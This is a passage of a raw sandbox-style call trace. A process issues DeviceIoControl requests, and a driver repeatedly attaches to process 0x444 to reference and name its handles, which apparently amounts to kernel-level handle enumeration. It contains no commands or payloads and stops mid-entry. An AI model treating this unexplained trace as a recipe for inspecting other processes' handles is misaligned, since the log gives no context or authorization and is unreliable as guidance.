[0132.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0132.231] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.231] PsAcquireProcessExitSynchronization () returned 0x0 [0132.231] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.231] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002efddd0, HandleInformation=0x0) returned 0x0 [0132.231] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.231] PsReleaseProcessExitSynchronization () returned 0x2 [0132.231] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.231] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.231] ObfDereferenceObject (Object=0xfffffa8002efddd0) returned 0x1 [0132.232] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.232] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.232] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.232] PsAcquireProcessExitSynchronization () returned 0x0 [0132.232] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.232] ObReferenceObjectByHandle (in: Handle=0x18c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f6e070, HandleInformation=0x0) returned 0x0 [0132.232] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.232] PsReleaseProcessExitSynchronization () returned 0x2 [0132.232] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.232] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.232] ObfDereferenceObject (Object=0xfffffa8002f6e070) returned 0x1 [0132.232] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.232] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.232] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.232] PsAcquireProcessExitSynchronization () returned 0x0 [0132.232] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.232] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003245740, HandleInformation=0x0) returned 0x0 [0132.233] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.233] PsReleaseProcessExitSynchronization () returned 0x2 [0132.233] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.233] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.233] ObfDereferenceObject (Object=0xfffffa8003245740) returned 0x1 [0132.233] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.233] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.233] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.233] PsAcquireProcessExitSynchronization () returned 0x0 [0132.233] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.233] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032623e0, HandleInformation=0x0) returned 0x0 [0132.233] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.233] PsReleaseProcessExitSynchronization () returned 0x2 [0132.233] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.233] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.233] ObfDereferenceObject (Object=0xfffffa80032623e0) returned 0x1 [0132.233] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.233] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.233] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.233] PsAcquireProcessExitSynchronization () returned 0x0 [0132.233] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.233] ObReferenceObjectByHandle (in: Handle=0x27c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800328b860, HandleInformation=0x0) returned 0x0 [0132.233] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.234] PsReleaseProcessExitSynchronization () returned 0x2 [0132.234] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.234] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0132.234] ObfDereferenceObject (Object=0xfffffa800328b860) returned 0x1 [0132.234] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.234] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.234] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.234] PsAcquireProcessExitSynchronization () returned 0x0 [0132.234] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.234] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800326ec80, HandleInformation=0x0) returned 0x0 [0132.234] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.234] PsReleaseProcessExitSynchronization () returned 0x2 [0132.234] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.234] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.234] ObfDereferenceObject (Object=0xfffffa800326ec80) returned 0x1 [0132.234] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.234] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.234] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.234] PsAcquireProcessExitSynchronization () returned 0x0 [0132.234] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.234] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800326fa10, HandleInformation=0x0) returned 0x0 [0132.234] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.234] PsReleaseProcessExitSynchronization () returned 0x2 [0132.234] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.234] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0132.235] ObfDereferenceObject (Object=0xfffffa800326fa10) returned 0x1 [0132.235] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.235] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.235] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.235] PsAcquireProcessExitSynchronization () returned 0x0 [0132.235] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.235] ObReferenceObjectByHandle (in: Handle=0x2c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0015eff00, HandleInformation=0x0) returned 0x0 [0132.235] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.235] PsReleaseProcessExitSynchronization () returned 0x2 [0132.235] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.235] ObQueryNameString (in: Object=0xfffff8a0015eff00, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.235] ObfDereferenceObject (Object=0xfffff8a0015eff00) returned 0x1 [0132.235] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.235] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.235] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.235] PsAcquireProcessExitSynchronization () returned 0x0 [0132.235] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.235] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f78850, HandleInformation=0x0) returned 0x0 [0132.235] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.235] PsReleaseProcessExitSynchronization () returned 0x2 [0132.235] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.235] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.235] ObfDereferenceObject (Object=0xfffffa8002f78850) returned 0x1 [0132.235] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.235] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.236] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.236] PsAcquireProcessExitSynchronization () returned 0x0 [0132.236] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.236] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002b78070, HandleInformation=0x0) returned 0x0 [0132.236] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.236] PsReleaseProcessExitSynchronization () returned 0x2 [0132.236] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.236] ObQueryNameString (in: Object=0xfffffa8002b78070, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.236] ObfDereferenceObject (Object=0xfffffa8002b78070) returned 0x11 [0132.236] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.236] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.236] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.236] PsAcquireProcessExitSynchronization () returned 0x0 [0132.236] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.236] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0132.236] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.236] PsReleaseProcessExitSynchronization () returned 0x2 [0132.236] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.236] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.236] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0132.236] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.236] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.236] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.237] PsAcquireProcessExitSynchronization () returned 0x0 [0132.237] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.237] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80114574a0, HandleInformation=0x0) returned 0x0 [0132.237] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.237] PsReleaseProcessExitSynchronization () returned 0x2 [0132.237] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.237] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.237] ObfDereferenceObject (Object=0xfffffa80114574a0) returned 0x1 [0132.237] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.237] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.237] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.237] PsAcquireProcessExitSynchronization () returned 0x0 [0132.237] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.237] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034d7430, HandleInformation=0x0) returned 0x0 [0132.237] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.237] PsReleaseProcessExitSynchronization () returned 0x2 [0132.237] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.237] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.237] ObfDereferenceObject (Object=0xfffffa80034d7430) returned 0x1 [0132.237] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.237] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.237] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.237] PsAcquireProcessExitSynchronization () returned 0x0 [0132.237] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.238] ObReferenceObjectByHandle (in: Handle=0x338, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00196fbe0, HandleInformation=0x0) returned 0x0 [0132.238] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.238] PsReleaseProcessExitSynchronization () returned 0x2 [0132.238] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.238] ObQueryNameString (in: Object=0xfffff8a00196fbe0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.238] ObfDereferenceObject (Object=0xfffff8a00196fbe0) returned 0x2 [0132.238] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.238] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.238] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.238] PsAcquireProcessExitSynchronization () returned 0x0 [0132.238] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.238] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0132.238] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.238] PsReleaseProcessExitSynchronization () returned 0x2 [0132.238] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.238] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.238] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0132.238] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.238] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.238] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.238] PsAcquireProcessExitSynchronization () returned 0x0 [0132.238] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.238] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0132.238] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.239] PsReleaseProcessExitSynchronization () returned 0x2 [0132.239] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.239] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.239] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0132.239] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.239] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.239] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.239] PsAcquireProcessExitSynchronization () returned 0x0 [0132.239] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.239] ObReferenceObjectByHandle (in: Handle=0x350, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001973760, HandleInformation=0x0) returned 0x0 [0132.239] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.239] PsReleaseProcessExitSynchronization () returned 0x2 [0132.239] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.239] ObQueryNameString (in: Object=0xfffff8a001973760, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.239] ObfDereferenceObject (Object=0xfffff8a001973760) returned 0x2 [0132.239] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.239] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.239] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.239] PsAcquireProcessExitSynchronization () returned 0x0 [0132.239] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.239] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034d1680, HandleInformation=0x0) returned 0x0 [0132.239] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.240] PsReleaseProcessExitSynchronization () returned 0x2 [0132.240] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.240] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.240] ObfDereferenceObject (Object=0xfffffa80034d1680) returned 0x1 [0132.240] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.240] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.240] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.240] PsAcquireProcessExitSynchronization () returned 0x0 [0132.240] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.240] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80028d9470, HandleInformation=0x0) returned 0x0 [0132.240] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.240] PsReleaseProcessExitSynchronization () returned 0x2 [0132.240] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.240] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.240] ObfDereferenceObject (Object=0xfffffa80028d9470) returned 0x1 [0132.240] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.240] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.240] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.240] PsAcquireProcessExitSynchronization () returned 0x0 [0132.240] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.240] ObReferenceObjectByHandle (in: Handle=0x3f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001a97420, HandleInformation=0x0) returned 0x0 [0132.240] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.240] PsReleaseProcessExitSynchronization () returned 0x2 [0132.240] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.240] ObQueryNameString (in: Object=0xfffff8a001a97420, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.241] ObfDereferenceObject (Object=0xfffff8a001a97420) returned 0x2 [0132.241] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.241] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.241] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.241] PsAcquireProcessExitSynchronization () returned 0x0 [0132.241] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.241] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001ab3eb0, HandleInformation=0x0) returned 0x0 [0132.241] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.241] PsReleaseProcessExitSynchronization () returned 0x2 [0132.241] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.241] ObQueryNameString (in: Object=0xfffff8a001ab3eb0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.241] ObfDereferenceObject (Object=0xfffff8a001ab3eb0) returned 0x2 [0132.241] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.241] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.241] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.241] PsAcquireProcessExitSynchronization () returned 0x0 [0132.241] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.241] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, 